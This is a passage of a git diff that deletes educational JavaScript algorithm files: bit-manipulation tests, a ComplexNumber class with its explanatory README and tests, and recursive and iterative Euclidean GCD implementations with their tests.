-        expect(multiply(2, 121)).toBe(242);
-        expect(multiply(121, 2)).toBe(242);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/multiplyByTwo.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/multiplyByTwo.test.js
deleted file mode 100644
index 52a4ea66fe..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/multiplyByTwo.test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import multiplyByTwo from '../multiplyByTwo';
-describe('multiplyByTwo', () => {
-    it('should multiply numbers by two using bitwise operations', () => {
-        expect(multiplyByTwo(0)).toBe(0);
-        expect(multiplyByTwo(1)).toBe(2);
-        expect(multiplyByTwo(3)).toBe(6);
-        expect(multiplyByTwo(10)).toBe(20);
-        expect(multiplyByTwo(17)).toBe(34);
-        expect(multiplyByTwo(125)).toBe(250);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/multiplyUnsigned.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/multiplyUnsigned.test.js
deleted file mode 100644
index 3952a30e56..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/multiplyUnsigned.test.js
+++ /dev/null
@@ -1,14 +0,0 @@
-import multiplyUnsigned from '../multiplyUnsigned';
-describe('multiplyUnsigned', () => {
-    it('should multiply two unsigned numbers', () => {
-        expect(multiplyUnsigned(0, 2)).toBe(0);
-        expect(multiplyUnsigned(2, 0)).toBe(0);
-        expect(multiplyUnsigned(1, 1)).toBe(1);
-        expect(multiplyUnsigned(1, 2)).toBe(2);
-        expect(multiplyUnsigned(2, 7)).toBe(14);
-        expect(multiplyUnsigned(7, 2)).toBe(14);
-        expect(multiplyUnsigned(30, 2)).toBe(60);
-        expect(multiplyUnsigned(17, 34)).toBe(578);
-        expect(multiplyUnsigned(170, 2340)).toBe(397800);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/setBit.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/setBit.test.js
deleted file mode 100644
index 71239ecd6f..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/setBit.test.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import setBit from '../setBit';
-describe('setBit', () => {
-    it('should set bit at specific position', () => {
-        // 1 = 0b0001
-        expect(setBit(1, 0)).toBe(1);
-        expect(setBit(1, 1)).toBe(3);
-        expect(setBit(1, 2)).toBe(5);
-        // 10 = 0b1010
-        expect(setBit(10, 0)).toBe(11);
-        expect(setBit(10, 1)).toBe(10);
-        expect(setBit(10, 2)).toBe(14);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/switchSign.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/switchSign.test.js
deleted file mode 100644
index a317cc2877..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/switchSign.test.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import switchSign from '../switchSign';
-describe('switchSign', () => {
-    it('should switch the sign of the number using twos complement approach', () => {
-        expect(switchSign(0)).toBe(0);
-        expect(switchSign(1)).toBe(-1);
-        expect(switchSign(-1)).toBe(1);
-        expect(switchSign(32)).toBe(-32);
-        expect(switchSign(-32)).toBe(32);
-        expect(switchSign(23)).toBe(-23);
-        expect(switchSign(-23)).toBe(23);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/test/updateBit.test.js b/docs/content/DS_ALGO/algorithms/math/bits/test/updateBit.test.js
deleted file mode 100644
index 186558982d..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/test/updateBit.test.js
+++ /dev/null
@@ -1,17 +0,0 @@
-import updateBit from '../updateBit';
-describe('updateBit', () => {
-    it('should update bit at specific position', () => {
-        // 1 = 0b0001
-        expect(updateBit(1, 0, 1)).toBe(1);
-        expect(updateBit(1, 0, 0)).toBe(0);
-        expect(updateBit(1, 1, 1)).toBe(3);
-        expect(updateBit(1, 2, 1)).toBe(5);
-        // 10 = 0b1010
-        expect(updateBit(10, 0, 1)).toBe(11);
-        expect(updateBit(10, 0, 0)).toBe(10);
-        expect(updateBit(10, 1, 1)).toBe(10);
-        expect(updateBit(10, 1, 0)).toBe(8);
-        expect(updateBit(10, 2, 1)).toBe(14);
-        expect(updateBit(10, 2, 0)).toBe(10);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/bits/updateBit.js b/docs/content/DS_ALGO/algorithms/math/bits/updateBit.js
deleted file mode 100644
index f634d0c351..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/bits/updateBit.js
+++ /dev/null
@@ -1,14 +0,0 @@
-/**
- * @param {number} number
- * @param {number} bitPosition - zero based.
- * @param {number} bitValue - 0 or 1.
- * @return {number}
- */
-export default function updateBit(number, bitPosition, bitValue) {
-    // Normalized bit value.
-    const bitValueNormalized = bitValue ? 1 : 0;
-    // Init clear mask.
-    const clearMask = ~(1 << bitPosition);
-    // Clear bit value and then set it up to required value.
-    return (number & clearMask) | (bitValueNormalized << bitPosition);
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/complex-number/ComplexNumber.js b/docs/content/DS_ALGO/algorithms/math/complex-number/ComplexNumber.js
deleted file mode 100644
index c173fcc83c..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/complex-number/ComplexNumber.js
+++ /dev/null
@@ -1,138 +0,0 @@
-import radianToDegree from '../radian/radianToDegree';
-export default class ComplexNumber {
-    /**
-     * z = re + im * i
-     * z = radius * e^(i * phase)
-     *
-     * @param {number} [re]
-     * @param {number} [im]
-     */
-    constructor({ re = 0, im = 0 } = {}) {
-        this.re = re;
-        this.im = im;
-    }
-    /**
-     * @param {ComplexNumber|number} addend
-     * @return {ComplexNumber}
-     */
-    add(addend) {
-        // Make sure we're dealing with complex number.
-        const complexAddend = this.toComplexNumber(addend);
-        return new ComplexNumber({
-            re: this.re + complexAddend.re,
-            im: this.im + complexAddend.im
-        });
-    }
-    /**
-     * @param {ComplexNumber|number} subtrahend
-     * @return {ComplexNumber}
-     */
-    subtract(subtrahend) {
-        // Make sure we're dealing with complex number.
-        const complexSubtrahend = this.toComplexNumber(subtrahend);
-        return new ComplexNumber({
-            re: this.re - complexSubtrahend.re,
-            im: this.im - complexSubtrahend.im
-        });
-    }
-    /**
-     * @param {ComplexNumber|number} multiplicand
-     * @return {ComplexNumber}
-     */
-    multiply(multiplicand) {
-        // Make sure we're dealing with complex number.
-        const complexMultiplicand = this.toComplexNumber(multiplicand);
-        return new ComplexNumber({
-            re: this.re * complexMultiplicand.re - this.im * complexMultiplicand.im,
-            im: this.re * complexMultiplicand.im + this.im * complexMultiplicand.re
-        });
-    }
-    /**
-     * @param {ComplexNumber|number} divider
-     * @return {ComplexNumber}
-     */
-    divide(divider) {
-        // Make sure we're dealing with complex number.
-        const complexDivider = this.toComplexNumber(divider);
-        // Get divider conjugate.
-        const dividerConjugate = this.conjugate(complexDivider);
-        // Multiply dividend by divider's conjugate.
-        const finalDivident = this.multiply(dividerConjugate);
-        // Calculating final divider using formula (a + bi)(a − bi) = a^2 + b^2
-        const finalDivider = complexDivider.re ** 2 + complexDivider.im ** 2;
-        return new ComplexNumber({
-            re: finalDivident.re / finalDivider,
-            im: finalDivident.im / finalDivider
-        });
-    }
-    /**
-     * @param {ComplexNumber|number} number
-     */
-    conjugate(number) {
-        // Make sure we're dealing with complex number.
-        const complexNumber = this.toComplexNumber(number);
-        return new ComplexNumber({
-            re: complexNumber.re,
-            im: -1 * complexNumber.im
-        });
-    }
-    /**
-     * @return {number}
-     */
-    getRadius() {
-        return Math.sqrt(this.re ** 2 + this.im ** 2);
-    }
-    /**
-     * @param {boolean} [inRadians]
-     * @return {number}
-     */
-    getPhase(inRadians = true) {
-        let phase = Math.atan(Math.abs(this.im) / Math.abs(this.re));
-        if (this.re < 0 && this.im > 0) {
-            phase = Math.PI - phase;
-        } else if (this.re < 0 && this.im < 0) {
-            phase = -(Math.PI - phase);
-        } else if (this.re > 0 && this.im < 0) {
-            phase = -phase;
-        } else if (this.re === 0 && this.im > 0) {
-            phase = Math.PI / 2;
-        } else if (this.re === 0 && this.im < 0) {
-            phase = -Math.PI / 2;
-        } else if (this.re < 0 && this.im === 0) {
-            phase = Math.PI;
-        } else if (this.re > 0 && this.im === 0) {
-            phase = 0;
-        } else if (this.re === 0 && this.im === 0) {
-            // More correctly would be to set 'indeterminate'.
-            // But just for simplicity reasons let's set zero.
-            phase = 0;
-        }
-        if (!inRadians) {
-            phase = radianToDegree(phase);
-        }
-        return phase;
-    }
-    /**
-     * @param {boolean} [inRadians]
-     * @return {{radius: number, phase: number}}
-     */
-    getPolarForm(inRadians = true) {
-        return {
-            radius: this.getRadius(),
-            phase: this.getPhase(inRadians)
-        };
-    }
-    /**
-     * Convert real numbers to complex number.
-     * In case if complex number is provided then lefts it as is.
-     *
-     * @param {ComplexNumber|number} number
-     * @return {ComplexNumber}
-     */
-    toComplexNumber(number) {
-        if (number instanceof ComplexNumber) {
-            return number;
-        }
-        return new ComplexNumber({ re: number });
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/complex-number/README.md b/docs/content/DS_ALGO/algorithms/math/complex-number/README.md
deleted file mode 100644
index 916d276c11..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/complex-number/README.md
+++ /dev/null
@@ -1,227 +0,0 @@
-# Complex Number
-
-[français](README.fr-FR.md).
-
-A **complex number** is a number that can be expressed in the
-form `a + b * i`, where `a` and `b` are real numbers, and `i` is a solution of
-the equation `x^2 = −1`. Because no _real number_ satisfies this
-equation, `i` is called an _imaginary number_. For the complex
-number `a + b * i`, `a` is called the _real part_, and `b` is called
-the _imaginary part_.
-
-![Complex Number](https://www.mathsisfun.com/numbers/images/complex-example.svg)
-
-A Complex Number is a combination of a Real Number and an Imaginary Number:
-
-![Complex Number](https://www.mathsisfun.com/numbers/images/complex-number.svg)
-
-Geometrically, complex numbers extend the concept of the one-dimensional number
-line to the _two-dimensional complex plane_ by using the horizontal axis for the
-real part and the vertical axis for the imaginary part. The complex
-number `a + b * i` can be identified with the point `(a, b)` in the complex plane.
-
-A complex number whose real part is zero is said to be _purely imaginary_; the
-points for these numbers lie on the vertical axis of the complex plane. A complex
-number whose imaginary part is zero can be viewed as a _real number_; its point
-lies on the horizontal axis of the complex plane.
-
-| Complex Number | Real Part | Imaginary Part |                  |
-| :------------- | :-------: | :------------: | ---------------- |
-| 3 + 2i         |     3     |       2        |                  |
-| 5              |     5     |     **0**      | Purely Real      |
-| −6i            |   **0**   |       -6       | Purely Imaginary |
-
-A complex number can be visually represented as a pair of numbers `(a, b)` forming
-a vector on a diagram called an _Argand diagram_, representing the _complex plane_.
-`Re` is the real axis, `Im` is the imaginary axis, and `i` satisfies `i^2 = −1`.
-
-![Complex Number](https://upload.wikimedia.org/wikipedia/commons/a/af/Complex_number_illustration.svg)
-
-> Complex does not mean complicated. It means the two types of numbers, real and
-> imaginary, together form a complex, just like a building complex (buildings
-> joined together).
-
-## Polar Form
-
-An alternative way of defining a point `P` in the complex plane, other than using
-the x- and y-coordinates, is to use the distance of the point from `O`, the point
-whose coordinates are `(0, 0)` (the origin), together with the angle subtended
-between the positive real axis and the line segment `OP` in a counterclockwise
-direction. This idea leads to the polar form of complex numbers.
-
-![Polar Form](https://upload.wikimedia.org/wikipedia/commons/7/7a/Complex_number_illustration_modarg.svg)
-
-The _absolute value_ (or modulus or magnitude) of a complex number `z = x + yi` is:
-
-![Radius](https://wikimedia.org/api/rest_v1/media/math/render/svg/b59629c801aa0ddcdf17ee489e028fb9f8d4ea75)
-
-The argument of `z` (in many applications referred to as the "phase") is the angle
-of the radius `OP` with the positive real axis, and is written as `arg(z)`. As
-with the modulus, the argument can be found from the rectangular form `x+yi`:
-
-![Phase](https://wikimedia.org/api/rest_v1/media/math/render/svg/7cbbdd9bb1dd5df86dd2b820b20f82995023e566)
-
-Together, `r` and `φ` give another way of representing complex numbers, the
-polar form, as the combination of modulus and argument fully specify the
-position of a point on the plane. Recovering the original rectangular
-co-ordinates from the polar form is done by the formula called trigonometric
-form:
-
-![Polar Form](https://wikimedia.org/api/rest_v1/media/math/render/svg/b03de1e1b7b049880b5e4870b68a57bc180ff6ce)
-
-Using Euler's formula this can be written as:
-
-![Euler's Form](https://wikimedia.org/api/rest_v1/media/math/render/svg/0a087c772212e7375cb321d83fc1fcc715cd0ed2)
-
-## Basic Operations
-
-### Adding
-
-To add two complex numbers we add each part separately:
-
-```text
-(a + b * i) + (c + d * i) = (a + c) + (b + d) * i
-```
-
-**Example**
-
-```text
-(3 + 5i) + (4 − 3i) = (3 + 4) + (5 − 3)i = 7 + 2i
-```
-
-On complex plane the adding operation will look like the following:
-
-![Complex Addition](https://www.mathsisfun.com/algebra/images/complex-plane-vector-add.svg)
-
-### Subtracting
-
-To subtract two complex numbers we subtract each part separately:
-
-```text
-(a + b * i) - (c + d * i) = (a - c) + (b - d) * i
-```
-
-**Example**
-
-```text
-(3 + 5i) - (4 − 3i) = (3 - 4) + (5 + 3)i = -1 + 8i
-```
-
-### Multiplying
-
-To multiply complex numbers each part of the first complex number gets multiplied
-by each part of the second complex number:
-
-Just use "FOIL", which stands for "**F**irsts, **O**uters, **I**nners, **L**asts" (
-see [Binomial Multiplication](ttps://www.mathsisfun.com/algebra/polynomials-multiplying.html) for
-more details):
-
-![Complex Multiplication](https://www.mathsisfun.com/algebra/images/foil-complex.svg)
-
--   Firsts: `a × c`
--   Outers: `a × di`
--   Inners: `bi × c`
--   Lasts: `bi × di`
-
-In general it looks like this:
-
-```text
-(a + bi)(c + di) = ac + adi + bci + bdi^2
-```
-
-But there is also a quicker way!
-
-Use this rule:
-
-```text
-(a + bi)(c + di) = (ac − bd) + (ad + bc)i
-```
-
-**Example**
-
-```text
-(3 + 2i)(1 + 7i)
-= 3×1 + 3×7i + 2i×1+ 2i×7i
-= 3 + 21i + 2i + 14i^2
-= 3 + 21i + 2i − 14   (because i^2 = −1)
-= −11 + 23i
-```
-
-```text
-(3 + 2i)(1 + 7i) = (3×1 − 2×7) + (3×7 + 2×1)i = −11 + 23i
-```
-
-### Conjugates
-
-We will need to know about conjugates in a minute!
-
-A conjugate is where we change the sign in the middle like this:
-
-![Complex Conjugate](https://www.mathsisfun.com/numbers/images/complex-conjugate.svg)
-
-A conjugate is often written with a bar over it:
-
-```text
-______
-5 − 3i   =   5 + 3i
-```
-
-On the complex plane the conjugate number will be mirrored against real axes.
-
-![Complex Conjugate](https://upload.wikimedia.org/wikipedia/commons/6/69/Complex_conjugate_picture.svg)
-
-### Dividing
-
-The conjugate is used to help complex division.
-
-The trick is to _multiply both top and bottom by the conjugate of the bottom_.
-
-**Example**
-
-```text
-2 + 3i
-------
-4 − 5i
-```
-
-Multiply top and bottom by the conjugate of `4 − 5i`:
-
-```text
-  (2 + 3i) * (4 + 5i)   8 + 10i + 12i + 15i^2
-= ------------------- = ----------------------
-  (4 − 5i) * (4 + 5i)   16 + 20i − 20i − 25i^2
-```
-
-Now remember that `i^2 = −1`, so:
-
-```text
-  8 + 10i + 12i − 15    −7 + 22i   −7   22
-= ------------------- = -------- = -- + -- * i
-  16 + 20i − 20i + 25      41      41   41
-
-```
-
-There is a faster way though.
-
-In the previous example, what happened on the bottom was interesting:
-
-```text
-(4 − 5i)(4 + 5i) = 16 + 20i − 20i − 25i
-```
-
-The middle terms `(20i − 20i)` cancel out! Also `i^2 = −1` so we end up with this:
-
-```text
-(4 − 5i)(4 + 5i) = 4^2 + 5^2
-```
-
-Which is really quite a simple result. The general rule is:
-
-```text
-(a + bi)(a − bi) = a^2 + b^2
-```
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Complex_number)
--   [Math is Fun](https://www.mathsisfun.com/numbers/complex-numbers.html)
diff --git a/docs/content/DS_ALGO/algorithms/math/complex-number/test/ComplexNumber.test.js b/docs/content/DS_ALGO/algorithms/math/complex-number/test/ComplexNumber.test.js
deleted file mode 100644
index fd86dcd266..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/complex-number/test/ComplexNumber.test.js
+++ /dev/null
@@ -1,135 +0,0 @@
-import ComplexNumber from '../ComplexNumber';
-describe('ComplexNumber', () => {
-    it('should create complex numbers', () => {
-        const complexNumber = new ComplexNumber({ re: 1, im: 2 });
-        expect(complexNumber).toBeDefined();
-        expect(complexNumber.re).toBe(1);
-        expect(complexNumber.im).toBe(2);
-        const defaultComplexNumber = new ComplexNumber();
-        expect(defaultComplexNumber.re).toBe(0);
-        expect(defaultComplexNumber.im).toBe(0);
-    });
-    it('should add complex numbers', () => {
-        const complexNumber1 = new ComplexNumber({ re: 1, im: 2 });
-        const complexNumber2 = new ComplexNumber({ re: 3, im: 8 });
-        const complexNumber3 = complexNumber1.add(complexNumber2);
-        const complexNumber4 = complexNumber2.add(complexNumber1);
-        expect(complexNumber3.re).toBe(1 + 3);
-        expect(complexNumber3.im).toBe(2 + 8);
-        expect(complexNumber4.re).toBe(1 + 3);
-        expect(complexNumber4.im).toBe(2 + 8);
-    });
-    it('should add complex and natural numbers', () => {
-        const complexNumber = new ComplexNumber({ re: 1, im: 2 });
-        const realNumber = new ComplexNumber({ re: 3 });
-        const complexNumber3 = complexNumber.add(realNumber);
-        const complexNumber4 = realNumber.add(complexNumber);
-        const complexNumber5 = complexNumber.add(3);
-        expect(complexNumber3.re).toBe(1 + 3);
-        expect(complexNumber3.im).toBe(2);
-        expect(complexNumber4.re).toBe(1 + 3);
-        expect(complexNumber4.im).toBe(2);
-        expect(complexNumber5.re).toBe(1 + 3);
-        expect(complexNumber5.im).toBe(2);
-    });
-    it('should subtract complex numbers', () => {
-        const complexNumber1 = new ComplexNumber({ re: 1, im: 2 });
-        const complexNumber2 = new ComplexNumber({ re: 3, im: 8 });
-        const complexNumber3 = complexNumber1.subtract(complexNumber2);
-        const complexNumber4 = complexNumber2.subtract(complexNumber1);
-        expect(complexNumber3.re).toBe(1 - 3);
-        expect(complexNumber3.im).toBe(2 - 8);
-        expect(complexNumber4.re).toBe(3 - 1);
-        expect(complexNumber4.im).toBe(8 - 2);
-    });
-    it('should subtract complex and natural numbers', () => {
-        const complexNumber = new ComplexNumber({ re: 1, im: 2 });
-        const realNumber = new ComplexNumber({ re: 3 });
-        const complexNumber3 = complexNumber.subtract(realNumber);
-        const complexNumber4 = realNumber.subtract(complexNumber);
-        const complexNumber5 = complexNumber.subtract(3);
-        expect(complexNumber3.re).toBe(1 - 3);
-        expect(complexNumber3.im).toBe(2);
-        expect(complexNumber4.re).toBe(3 - 1);
-        expect(complexNumber4.im).toBe(-2);
-        expect(complexNumber5.re).toBe(1 - 3);
-        expect(complexNumber5.im).toBe(2);
-    });
-    it('should multiply complex numbers', () => {
-        const complexNumber1 = new ComplexNumber({ re: 3, im: 2 });
-        const complexNumber2 = new ComplexNumber({ re: 1, im: 7 });
-        const complexNumber3 = complexNumber1.multiply(complexNumber2);
-        const complexNumber4 = complexNumber2.multiply(complexNumber1);
-        const complexNumber5 = complexNumber1.multiply(5);
-        expect(complexNumber3.re).toBe(-11);
-        expect(complexNumber3.im).toBe(23);
-        expect(complexNumber4.re).toBe(-11);
-        expect(complexNumber4.im).toBe(23);
-        expect(complexNumber5.re).toBe(15);
-        expect(complexNumber5.im).toBe(10);
-    });
-    it('should multiply complex numbers by themselves', () => {
-        const complexNumber = new ComplexNumber({ re: 1, im: 1 });
-        const result = complexNumber.multiply(complexNumber);
-        expect(result.re).toBe(0);
-        expect(result.im).toBe(2);
-    });
-    it('should calculate i in power of two', () => {
-        const complexNumber = new ComplexNumber({ re: 0, im: 1 });
-        const result = complexNumber.multiply(complexNumber);
-        expect(result.re).toBe(-1);
-        expect(result.im).toBe(0);
-    });
-    it('should divide complex numbers', () => {
-        const complexNumber1 = new ComplexNumber({ re: 2, im: 3 });
-        const complexNumber2 = new ComplexNumber({ re: 4, im: -5 });
-        const complexNumber3 = complexNumber1.divide(complexNumber2);
-        const complexNumber4 = complexNumber1.divide(2);
-        expect(complexNumber3.re).toBe(-7 / 41);
-        expect(complexNumber3.im).toBe(22 / 41);
-        expect(complexNumber4.re).toBe(1);
-        expect(complexNumber4.im).toBe(1.5);
-    });
-    it('should return complex number in polar form', () => {
-        const complexNumber1 = new ComplexNumber({ re: 3, im: 3 });
-        expect(complexNumber1.getPolarForm().radius).toBe(Math.sqrt(3 ** 2 + 3 ** 2));
-        expect(complexNumber1.getPolarForm().phase).toBe(Math.PI / 4);
-        expect(complexNumber1.getPolarForm(false).phase).toBe(45);
-        const complexNumber2 = new ComplexNumber({ re: -3, im: 3 });
-        expect(complexNumber2.getPolarForm().radius).toBe(Math.sqrt(3 ** 2 + 3 ** 2));
-        expect(complexNumber2.getPolarForm().phase).toBe(3 * (Math.PI / 4));
-        expect(complexNumber2.getPolarForm(false).phase).toBe(135);
-        const complexNumber3 = new ComplexNumber({ re: -3, im: -3 });
-        expect(complexNumber3.getPolarForm().radius).toBe(Math.sqrt(3 ** 2 + 3 ** 2));
-        expect(complexNumber3.getPolarForm().phase).toBe(-3 * (Math.PI / 4));
-        expect(complexNumber3.getPolarForm(false).phase).toBe(-135);
-        const complexNumber4 = new ComplexNumber({ re: 3, im: -3 });
-        expect(complexNumber4.getPolarForm().radius).toBe(Math.sqrt(3 ** 2 + 3 ** 2));
-        expect(complexNumber4.getPolarForm().phase).toBe(-1 * (Math.PI / 4));
-        expect(complexNumber4.getPolarForm(false).phase).toBe(-45);
-        const complexNumber5 = new ComplexNumber({ re: 5, im: 7 });
-        expect(complexNumber5.getPolarForm().radius).toBeCloseTo(8.6);
-        expect(complexNumber5.getPolarForm().phase).toBeCloseTo(0.95);
-        expect(complexNumber5.getPolarForm(false).phase).toBeCloseTo(54.46);
-        const complexNumber6 = new ComplexNumber({ re: 0, im: 0.25 });
-        expect(complexNumber6.getPolarForm().radius).toBeCloseTo(0.25);
-        expect(complexNumber6.getPolarForm().phase).toBeCloseTo(1.57);
-        expect(complexNumber6.getPolarForm(false).phase).toBeCloseTo(90);
-        const complexNumber7 = new ComplexNumber({ re: 0, im: -0.25 });
-        expect(complexNumber7.getPolarForm().radius).toBeCloseTo(0.25);
-        expect(complexNumber7.getPolarForm().phase).toBeCloseTo(-1.57);
-        expect(complexNumber7.getPolarForm(false).phase).toBeCloseTo(-90);
-        const complexNumber8 = new ComplexNumber();
-        expect(complexNumber8.getPolarForm().radius).toBeCloseTo(0);
-        expect(complexNumber8.getPolarForm().phase).toBeCloseTo(0);
-        expect(complexNumber8.getPolarForm(false).phase).toBeCloseTo(0);
-        const complexNumber9 = new ComplexNumber({ re: -0.25, im: 0 });
-        expect(complexNumber9.getPolarForm().radius).toBeCloseTo(0.25);
-        expect(complexNumber9.getPolarForm().phase).toBeCloseTo(Math.PI);
-        expect(complexNumber9.getPolarForm(false).phase).toBeCloseTo(180);
-        const complexNumber10 = new ComplexNumber({ re: 0.25, im: 0 });
-        expect(complexNumber10.getPolarForm().radius).toBeCloseTo(0.25);
-        expect(complexNumber10.getPolarForm().phase).toBeCloseTo(0);
-        expect(complexNumber10.getPolarForm(false).phase).toBeCloseTo(0);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/README.md b/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/README.md
deleted file mode 100644
index 57da9ad012..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/README.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# Euclidean algorithm
-
-[français](README.fr-FR.md).
-
-In mathematics, the Euclidean algorithm, or Euclid's algorithm,
-is an efficient method for computing the greatest common divisor
-(GCD) of two numbers, the largest number that divides both of
-them without leaving a remainder.
-
-The Euclidean algorithm is based on the principle that the
-greatest common divisor of two numbers does not change if
-the larger number is replaced by its difference with the
-smaller number. For example, `21` is the GCD of `252` and
-`105` (as `252 = 21 × 12` and `105 = 21 × 5`), and the same
-number `21` is also the GCD of `105` and `252 − 105 = 147`.
-Since this replacement reduces the larger of the two numbers,
-repeating this process gives successively smaller pairs of
-numbers until the two numbers become equal.
-When that occurs, they are the GCD of the original two numbers.
-
-By reversing the steps, the GCD can be expressed as a sum of
-the two original numbers each multiplied by a positive or
-negative integer, e.g., `21 = 5 × 105 + (−2) × 252`.
-The fact that the GCD can always be expressed in this way is
-known as Bézout's identity.
-
-![GCD](https://upload.wikimedia.org/wikipedia/commons/3/37/Euclid%27s_algorithm_Book_VII_Proposition_2_3.png)
-
-Euclid's method for finding the greatest common divisor (GCD)
-of two starting lengths `BA` and `DC`, both defined to be
-multiples of a common "unit" length. The length `DC` being
-shorter, it is used to "measure" `BA`, but only once because
-remainder `EA` is less than `DC`. EA now measures (twice)
-the shorter length `DC`, with remainder `FC` shorter than `EA`.
-Then `FC` measures (three times) length `EA`. Because there is
-no remainder, the process ends with `FC` being the `GCD`.
-On the right Nicomachus' example with numbers `49` and `21`
-resulting in their GCD of `7` (derived from Heath 1908:300).
-
-![GCD](https://upload.wikimedia.org/wikipedia/commons/7/74/24x60.svg)
-
-A `24-by-60` rectangle is covered with ten `12-by-12` square
-tiles, where `12` is the GCD of `24` and `60`. More generally,
-an `a-by-b` rectangle can be covered with square tiles of
-side-length `c` only if `c` is a common divisor of `a` and `b`.
-
-![GCD](https://upload.wikimedia.org/wikipedia/commons/1/1c/Euclidean_algorithm_1071_462.gif)
-
-Subtraction-based animation of the Euclidean algorithm.
-The initial rectangle has dimensions `a = 1071` and `b = 462`.
-Squares of size `462×462` are placed within it leaving a
-`462×147` rectangle. This rectangle is tiled with `147×147`
-squares until a `21×147` rectangle is left, which in turn is
-tiled with `21×21` squares, leaving no uncovered area.
-The smallest square size, `21`, is the GCD of `1071` and `462`.
-
-## References
-
-[Wikipedia](https://en.wikipedia.org/wiki/Euclidean_algorithm)
diff --git a/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/euclideanAlgorithm.js b/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/euclideanAlgorithm.js
deleted file mode 100644
index 1c55ff9c42..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/euclideanAlgorithm.js
+++ /dev/null
@@ -1,14 +0,0 @@
-/**
- * Recursive version of Euclidean Algorithm of finding greatest common divisor (GCD).
- * @param {number} originalA
- * @param {number} originalB
- * @return {number}
- */
-export default function euclideanAlgorithm(originalA, originalB) {
-    // Make input numbers positive.
-    const a = Math.abs(originalA);
-    const b = Math.abs(originalB);
-    // To make algorithm work faster instead of subtracting one number from the other
-    // we may use modulo operation.
-    return b === 0 ? a : euclideanAlgorithm(b, a % b);
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/euclideanAlgorithmIterative.js b/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/euclideanAlgorithmIterative.js
deleted file mode 100644
index ae3db67f5f..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/euclideanAlgorithmIterative.js
+++ /dev/null
@@ -1,18 +0,0 @@
-/**
- * Iterative version of Euclidean Algorithm of finding greatest common divisor (GCD).
- * @param {number} originalA
- * @param {number} originalB
- * @return {number}
- */
-export default function euclideanAlgorithmIterative(originalA, originalB) {
-    // Make input numbers positive.
-    let a = Math.abs(originalA);
-    let b = Math.abs(originalB);
-    // Subtract one number from another until both numbers would become the same.
-    // This will be out GCD. Also quit the loop if one of the numbers is zero.
-    while (a && b && a !== b) {
-        [a, b] = a > b ? [a - b, b] : [a, b - a];
-    }
-    // Return the number that is not equal to zero since the last subtraction (it will be a GCD).
-    return a || b;
-}
diff --git a/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/test/euclideanAlgorithm.test.js b/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/test/euclideanAlgorithm.test.js
deleted file mode 100644
index dad294cce3..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/test/euclideanAlgorithm.test.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import euclideanAlgorithm from '../euclideanAlgorithm';
-describe('euclideanAlgorithm', () => {
-    it('should calculate GCD recursively', () => {
-        expect(euclideanAlgorithm(0, 0)).toBe(0);
-        expect(euclideanAlgorithm(2, 0)).toBe(2);
-        expect(euclideanAlgorithm(0, 2)).toBe(2);
-        expect(euclideanAlgorithm(1, 2)).toBe(1);
-        expect(euclideanAlgorithm(2, 1)).toBe(1);
-        expect(euclideanAlgorithm(6, 6)).toBe(6);
-        expect(euclideanAlgorithm(2, 4)).toBe(2);
-        expect(euclideanAlgorithm(4, 2)).toBe(2);
-        expect(euclideanAlgorithm(12, 4)).toBe(4);
-        expect(euclideanAlgorithm(4, 12)).toBe(4);
-        expect(euclideanAlgorithm(5, 13)).toBe(1);
-        expect(euclideanAlgorithm(27, 13)).toBe(1);
-        expect(euclideanAlgorithm(24, 60)).toBe(12);
-        expect(euclideanAlgorithm(60, 24)).toBe(12);
-        expect(euclideanAlgorithm(252, 105)).toBe(21);
-        expect(euclideanAlgorithm(105, 252)).toBe(21);
-        expect(euclideanAlgorithm(1071, 462)).toBe(21);
-        expect(euclideanAlgorithm(462, 1071)).toBe(21);
-        expect(euclideanAlgorithm(462, -1071)).toBe(21);
-        expect(euclideanAlgorithm(-462, -1071)).toBe(21);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/test/euclideanAlgorithmIterative.test.js b/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/test/euclideanAlgorithmIterative.test.js
deleted file mode 100644
index fee938a858..0000000000
--- a/docs/content/DS_ALGO/algorithms/math/euclidean-algorithm/test/euclideanAlgorithmIterative.test.js
+++ /dev/null
@@ -1,25 +0,0 @@
